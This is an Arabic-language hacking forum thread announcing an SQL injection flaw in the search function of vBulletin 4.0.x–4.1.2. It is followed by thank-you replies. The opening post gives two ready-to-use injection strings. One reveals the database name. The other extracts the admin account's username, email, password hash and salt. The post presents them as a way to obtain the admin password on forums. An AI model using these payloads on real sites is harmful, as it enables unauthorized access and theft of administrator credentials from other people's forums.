vBulletin 4.0.x => 4.1.2 SQL Injection Vulnerability

[KaLa$nikoV]

السلام عليكم ورحمه الله وبركاته


الموضوع واضح من العنوان ثغره في المنتديات اصدار 4 لحتى اصدار 4.1.2

الثغره بمحرك البحث

نروح محرك البحث ونكتب استعلام الحقن

اقتباس &cat[0]=1) UNION SELECT database()#

يظهر لنا الداتابيز
وهيك نجيب باس الادمن

اقتباس &cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#

وهذا فيديو شرح

http://www.youtube.com/watch?v=fR9RGCqIPkc

مكتشف الثغره D4rkB1t

بالتوفيق

[Barhom Basri]

شكراً اخي العزيز

[JetLi]

يسلمووووووووووووووووا ولو انها طريقة متعبة ولكن لا بأس ، مجهود رائع رائع والله الفيبي معذبنا

[ChucK NoRRis]

خطيييييير يا فولكانو !!

ثغرة جديدة تنضاف لثفرات Vbulletin العديدة

[dr sow]

قمة في الابدع فولكانو كما قال الاخ
ال في بي معدبنا

[bleu moon]

مشكوور يا اخي فولكانو وآسف على الغياب، رح اقولك السبب بعدين

[silentcntrl]

شكرا . بارك الله فيك

[merci1994]

يسلموووو يداك يامبدع